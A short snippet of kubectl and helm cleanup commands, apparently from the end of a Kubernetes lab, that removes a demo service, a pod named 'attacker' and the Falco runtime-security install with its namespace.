kubectl delete service zipapp  
kubectl delete pod attacker --ignore-not-found  
helm uninstall falco -n falco  
kubectl delete namespace falco
```